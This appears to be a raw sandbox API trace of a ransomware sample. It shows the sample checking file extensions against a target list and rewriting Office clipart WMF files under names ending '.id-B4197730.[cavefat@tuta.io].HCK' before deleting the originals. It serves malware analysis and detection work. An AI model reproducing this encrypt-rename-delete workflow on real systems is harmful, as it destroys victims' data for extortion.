lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.227] lstrlenW (lpString=".dbf") returned 4 [0170.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.227] lstrlenW (lpString=".1cd") returned 4 [0170.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.227] lstrlenW (lpString=".jpg") returned 4 [0170.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.227] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.227] lstrlenW (lpString="J0188679.WMF") returned 12 [0170.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0170.231] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=13162) returned 1 [0170.231] CloseHandle (hObject=0x368) returned 1 [0170.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 0x220 [0170.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.240] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.240] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.249] GetLastError () returned 0x0 [0170.249] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x336a, lpOverlapped=0x0) returned 1 [0170.251] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3370, lpOverlapped=0x0) returned 1 [0170.251] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.251] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.251] SetEndOfFile (hFile=0x378) returned 1 [0170.255] CloseHandle (hObject=0x378) returned 1 [0170.256] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.256] SetEndOfFile (hFile=0x3ac) returned 1 [0170.260] CloseHandle (hObject=0x3ac) returned 1 [0170.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 1 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString=".doc") returned 4 [0170.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString=".docx") returned 5 [0170.266] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.266] lstrlenW (lpString=".pdf") returned 4 [0170.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString=".xls") returned 4 [0170.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.266] lstrlenW (lpString=".xlsx") returned 5 [0170.266] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.266] lstrlenW (lpString=".ppt") returned 4 [0170.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString=".zip") returned 4 [0170.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.266] lstrlenW (lpString=".rar") returned 4 [0170.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString=".bz2") returned 4 [0170.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString=".7z") returned 3 [0170.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString=".dbf") returned 4 [0170.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString=".1cd") returned 4 [0170.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString=".jpg") returned 4 [0170.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.266] lstrlenW (lpString=".doc") returned 4 [0170.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.266] lstrlenW (lpString=".docx") returned 5 [0170.266] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.266] lstrlenW (lpString=".pdf") returned 4 [0170.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.267] lstrlenW (lpString=".xls") returned 4 [0170.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.267] lstrlenW (lpString=".xlsx") returned 5 [0170.267] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.267] lstrlenW (lpString=".ppt") returned 4 [0170.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.267] lstrlenW (lpString=".zip") returned 4 [0170.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.267] lstrlenW (lpString=".rar") returned 4 [0170.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.267] lstrlenW (lpString=".bz2") returned 4 [0170.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.267] lstrlenW (lpString=".7z") returned 3 [0170.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.267] lstrlenW (lpString=".dbf") returned 4 [0170.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.267] lstrlenW (lpString=".1cd") returned 4 [0170.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0170.267] lstrlenW (lpString=".jpg") returned 4 [0170.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.267] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.267] lstrlenW (lpString="J0195320.WMF") returned 12 [0170.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.268] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=29432) returned 1 [0170.268] CloseHandle (hObject=0x3ac) returned 1 [0170.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 0x220 [0170.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.276] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.276] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.281] GetLastError () returned 0x0 [0170.281] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x72f8, lpOverlapped=0x0) returned 1 [0170.283] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7300, lpOverlapped=0x0) returned 1 [0170.284] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.284] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.284] SetEndOfFile (hFile=0x360) returned 1 [0170.286] CloseHandle (hObject=0x360) returned 1 [0170.287] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.287] SetEndOfFile (hFile=0x378) returned 1 [0170.289] CloseHandle (hObject=0x378) returned 1 [0170.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 1 [0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.294] lstrlenW (lpString=".doc") returned 4 [0170.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.294] lstrlenW (lpString=".docx") returned 5 [0170.294] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.294] lstrlenW (lpString=".pdf") returned 4 [0170.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.294] lstrlenW (lpString=".xls") returned 4 [0170.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.294] lstrlenW (lpString=".xlsx") returned 5 [0170.294] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.294] lstrlenW (lpString=".ppt") returned 4 [0170.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.294] lstrlenW (lpString=".zip") returned 4 [0170.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.294] lstrlenW (lpString=".rar") returned 4 [0170.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.294] lstrlenW (lpString=".bz2") returned 4 [0170.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.294] lstrlenW (lpString=".7z") returned 3 [0170.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.294] lstrlenW (lpString=".dbf") returned 4 [0170.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.294] lstrlenW (lpString=".1cd") returned 4 [0170.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.294] lstrlenW (lpString=".jpg") returned 4 [0170.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.295] lstrlenW (lpString=".doc") returned 4 [0170.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString=".docx") returned 5 [0170.295] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.295] lstrlenW (lpString=".pdf") returned 4 [0170.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString=".xls") returned 4 [0170.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.295] lstrlenW (lpString=".xlsx") returned 5 [0170.295] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.295] lstrlenW (lpString=".ppt") returned 4 [0170.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.295] lstrlenW (lpString=".zip") returned 4 [0170.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.295] lstrlenW (lpString=".rar") returned 4 [0170.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString=".bz2") returned 4 [0170.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString=".7z") returned 3 [0170.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.295] lstrlenW (lpString=".dbf") returned 4 [0170.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.295] lstrlenW (lpString=".1cd") returned 4 [0170.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0170.295] lstrlenW (lpString=".jpg") returned 4 [0170.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.295] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.295] lstrlenW (lpString="J0195772.WMF") returned 12 [0170.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.304] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3680) returned 1 [0170.304] CloseHandle (hObject=0x308) returned 1 [0170.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf")) returned 0x220 [0170.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.307] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.307] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.311] GetLastError () returned 0x0 [0170.311] ReadFile (in: hFile=0x30c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xe60, lpOverlapped=0x0) returned 1 [0170.314] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe70, lpOverlapped=0x0) returned 1 [0170.315] ReadFile (in: hFile=0x30c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.315] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.315] SetEndOfFile (hFile=0x378) returned 1 [0170.317] CloseHandle (hObject=0x378) returned 1 [0170.318] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.318] SetEndOfFile (hFile=0x30c) returned 1 [0170.321] CloseHandle (hObject=0x30c) returned 1 [0170.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf")) returned 1 [0170.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.326] lstrlenW (lpString=".doc") returned 4 [0170.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.326] lstrlenW (lpString=".docx") returned 5 [0170.326] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.326] lstrlenW (lpString=".pdf") returned 4 [0170.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.326] lstrlenW (lpString=".xls") returned 4 [0170.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.326] lstrlenW (lpString=".xlsx") returned 5 [0170.326] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.326] lstrlenW (lpString=".ppt") returned 4 [0170.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.327] lstrlenW (lpString=".zip") returned 4 [0170.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.327] lstrlenW (lpString=".rar") returned 4 [0170.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString=".bz2") returned 4 [0170.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString=".7z") returned 3 [0170.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.327] lstrlenW (lpString=".dbf") returned 4 [0170.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.327] lstrlenW (lpString=".1cd") returned 4 [0170.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.327] lstrlenW (lpString=".jpg") returned 4 [0170.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.327] lstrlenW (lpString=".doc") returned 4 [0170.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString=".docx") returned 5 [0170.327] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.327] lstrlenW (lpString=".pdf") returned 4 [0170.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString=".xls") returned 4 [0170.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.327] lstrlenW (lpString=".xlsx") returned 5 [0170.327] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.327] lstrlenW (lpString=".ppt") returned 4 [0170.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.327] lstrlenW (lpString=".zip") returned 4 [0170.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.327] lstrlenW (lpString=".rar") returned 4 [0170.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString=".bz2") returned 4 [0170.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.327] lstrlenW (lpString=".7z") returned 3 [0170.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.328] lstrlenW (lpString=".dbf") returned 4 [0170.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.328] lstrlenW (lpString=".1cd") returned 4 [0170.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0170.328] lstrlenW (lpString=".jpg") returned 4 [0170.328] 